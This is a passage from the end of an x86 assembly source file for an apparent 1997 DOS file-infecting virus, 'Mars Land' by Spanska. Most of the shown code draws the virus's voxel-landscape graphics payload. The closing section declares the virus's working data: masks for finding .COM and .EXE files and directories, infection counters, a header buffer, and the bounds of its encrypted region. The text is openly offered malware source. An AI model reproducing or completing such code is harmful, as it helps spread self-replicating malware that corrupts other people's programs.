sub ah, al ;level 0 = altitude 80, so soustraction
|
|
;('cause in VGA 0,0 = top left)
|
|
xor al, al ;"fixed point" mode: Y is now in ah
|
|
xor dx, dx ;dx will not fuck up the division
|
|
div word ptr cs:[bp+offset z] ;Y/Z
|
|
xchg cx, ax ;the result is the 2D coordinate (YY)
|
|
|
|
;---------------calculate video offset of the voxel-------------------
|
|
; (remember: XX is on stack and YY is in CX)
|
|
|
|
pop dx ;get XX
|
|
cmp cx, 142 ;do not write voxel if too at bottom
|
|
ja pas_plot
|
|
cmp dx, 155 ;do not write voxel if too on the side
|
|
ja pas_plot
|
|
|
|
push dx ;put again XX on stack
|
|
mov ax, 320 ;we gonna calculate voxel video offset
|
|
mul cx ;multiply YY by 320
|
|
pop dx ;get XX
|
|
cmp byte ptr cs:[bp+offset signe], 1 ;are X and so XX negatives?
|
|
jne pos
|
|
sub ax, dx ;yes => offset is ax - XX
|
|
mov byte ptr cs:[bp+offset signe], 0 ;and we can forget this sign now
|
|
jmp suite4
|
|
pos:
|
|
add ax, dx ;no => offset is ax + XX
|
|
|
|
suite4:
|
|
add ax, (320*60)+160 ;to put the animation at screen bottom
|
|
|
|
;--------calculate voxel color (with 2 shadow effects)------------------
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|
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|
;first shadow effect, depends on curvature of mountain sides
|
|
|
|
mov di, ax ;ax is video offset of the voxel
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|
xchg ax, bx ;remember: bx contains Y et NEXT_Y
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|
sub al, ah ;shadow will depend on NEXT_Y - Y; can
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add al, 100 ;be >0 (one side of the mountain)
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;or <0 (other side), so add an
|
|
;average value
|
|
|
|
;if voxel is too far, put it black
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|
|
|
mov word ptr bx, cs:[bp+offset z] ;now bx=Z (remember 128<Z<328)
|
|
cmp bx, 285 ;is voxel very far?
|
|
jb pas_eteindre ;no => OK, write it
|
|
xor al, al ;yes => write a black voxel instead
|
|
pas_eteindre:
|
|
|
|
;second shadow effect: the farest, the darkest
|
|
|
|
shr bx, 1 ;now 64<bx<164
|
|
shr bx, 1 ;now 32<bx<82
|
|
sub ax, bx ;sub the color with the distance
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|
|
|
;--------calculate voxel size (the nearest, the biggest)----------------
|
|
|
|
mov bx, 328 ;maximum Z
|
|
sub bx, cs:[bp+offset z] ;now bx=0 (far) or bx=200 (near)
|
|
mov cl, 6 ;divide by 64
|
|
shr bx, cl ;now 0<bx<3
|
|
inc bx ;now 1<bx<4
|
|
inc bx ;now 2<bx<5 (number of pixels wide)
|
|
mov dx, 2 ;voxel will be always 2 lines height.
|
|
|
|
dessine_voxel:
|
|
mov cx, bx ;number of pixels wide in cx
|
|
rep stosb ;write them on screen
|
|
mov cx, 320 ;we have to draw second line
|
|
sub cx, bx ;adjust with voxel wide
|
|
add di, cx ;go to offset of next line
|
|
dec dx ;first line finihed
|
|
jne dessine_voxel ;draw second line
|
|
|
|
pas_plot: ;we get here in case of too extreme coordinates
|
|
|
|
pop cx ;don't forget the counter
|
|
dec cx ;one voxel more is drawn
|
|
je suite9 ;if all voxels are drawn, start another screen
|
|
jmp dessine ;go calculate next voxel
|
|
suite9:
|
|
|
|
jmp anime ;go calculate next screen
|
|
|
|
;---------------memory zones used by the graphic effect------------------
|
|
|
|
message db "Mars Land, by Spanska" ;message 1
|
|
messag2 db "(coding a virus can be creative)" ;message 2
|
|
aleat dw 0FAh ;random seed
|
|
z dw 3 ;temporarly used for Z
|
|
signe db ? ;to remember the sign of X
|
|
;
|
|
;--------------------memory zones used by the virus----------------------
|
|
;
|
|
dir_masque db "*.*",0 ;to find subdirectories
|
|
file_com db "*.C*",0 ;to find .com files
|
|
file_exe db "*.E*",0 ;to find .exe files
|
|
dot db "..",0 ;to climb on superior directory
|
|
fin_cryptage: ;end of crypted zone
|
|
;
|
|
;-------------all the following is not written on disk------------------
|
|
; (temporarly memory zone used by the virus)
|
|
;
|
|
phase db 0 ;subdirectory counter
|
|
compteur_com db 0 ;.com infection counter
|
|
compteur_exe db 0 ;.exe infection counter
|
|
handle db 0,0 ;handle of current file
|
|
dta db 48 dup (0AAh) ;temporary DTA
|
|
repert db 64 dup (0FFh) ;starting directory
|
|
exehead db 1Ch dup(0aah) ;1Ch first bytes of files (com or exe)
|
|
zone_de_travail: ;zone used to crypt the virus
|
|
|
|
code ends
|
|
end hote
|
|
|
|
;------------------------(c) Spanska 1997------------------------------ |